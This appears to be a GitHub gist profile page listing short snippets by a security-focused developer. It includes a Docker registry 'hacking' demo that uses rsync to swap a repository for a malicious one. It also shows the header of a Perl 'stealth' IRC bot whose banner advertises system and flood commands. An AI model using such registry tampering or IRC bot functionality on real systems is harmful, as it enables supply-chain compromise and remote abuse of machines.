Skip to content

Instantly share code, notes, and snippets.

View diogomonica's full-sized avatar

Diogo Mónica diogomonica

View GitHub Profile
#! /bin/bash
echo "# Hacking..."
rsync -a /var/lib/registry/docker/registry/v2/repositories/demo_malicious/ /var/lib/registry/docker/registry/v2/repositories/demo/
@diogomonica
diogomonica / demo_script_malicious.sh
Created August 13, 2015 22:38
demo_script_malicious.sh
#!/bin/sh
sl
@diogomonica
diogomonica / demo_script.sh
Last active August 29, 2015 14:27
testing script
#!/bin/bash
echo -e "\e[0;34m Starting Setec Astronomy... "
echo -e "\e[0;34m Checking for configuration parameters:"
echo -e "# Loading MD5 hashing algorithm... \e[0;32mDone. "
echo -e "# Seeding randomness using Dual_EC_DRBG... \e[0;32mDone."
echo -e "# Enabling DNSSEC... \e[0;31mFail.\e[0m"
echo "# Starting secret decryption using AES-ECB:"
echo "- Martin"
echo "- Bishop"
package main
import (
"fmt"
"github.com/miekg/pkcs11"
)
func main() {
p := pkcs11.New("/usr/local/lib/softhsm/libsofthsm2.so")
package main
import (
"fmt"
"github.com/miekg/pkcs11"
)
func main() {
p := pkcs11.New("/usr/local/lib/softhsm/libsofthsm2.so")
package main
import (
"fmt"
"time"
)
var results = make(chan string)
type HealthCheck func() string
#!/bin/sh
cli=/Applications/Karabiner.app/Contents/Library/bin/karabiner
$cli set remap.pc_printscreen2eject 1
/bin/echo -n .
$cli set remap.commandL2optionL 1
/bin/echo -n .
$cli set remap.fkeys_to_consumer_f10 1
/bin/echo -n .
curl -vv --header "Referer:https://weather.torproject.org/" --data "csrfmiddlewaretoken=8Aejx64oSMiEsAs44HoCYhGLeoWTQ1AY&email_1=fakefakefake2%40gmail.com&email_2=fakefakefake2%40gmail.com&fingerprint=E247E0910862C6EA81A61CD5CCB31485BB3A7569&get_node_down=on&node_down_grace_pd=1&node_down_grace_pd_unit=D&band_low_threshold=Default+value+is+20" https://weather.torproject.org/subscribe/ --cookie "csrftoken=8Aejx64oSMiEsAs44HoCYhGLeoWTQ1AY"
@diogomonica
diogomonica / resolve_csv_hosts.rb
Last active August 29, 2015 14:10
Resolve IPs for a CSV with hosts on the last column
#! /bin/env ruby
require 'socket'
if ARGV.length != 1
puts "# Usage: #{$0} FILNAME.csv"
exit(-1)
end
input_filename = ARGV.first
unless File.exist? input_filename
#!/usr/bin/perl
####################################################################################################################
####################################################################################################################
## ps Perl IrcBot v1.02012 bY CrAmEr @ps Security Team ## [ Help ] ####################################
## Stealth MultiFunctional IrcBot Writen in Perl #####################################################
## Teste on every system with PERL instlled ## !x @system ##
## ## !x @version ##
## This is a free program used on your own risk. ## !x @channel ##
## Created for educational purpose only. ## !x @flood ##
## I'm not responsible for the illegal use of this program. ## !x @utils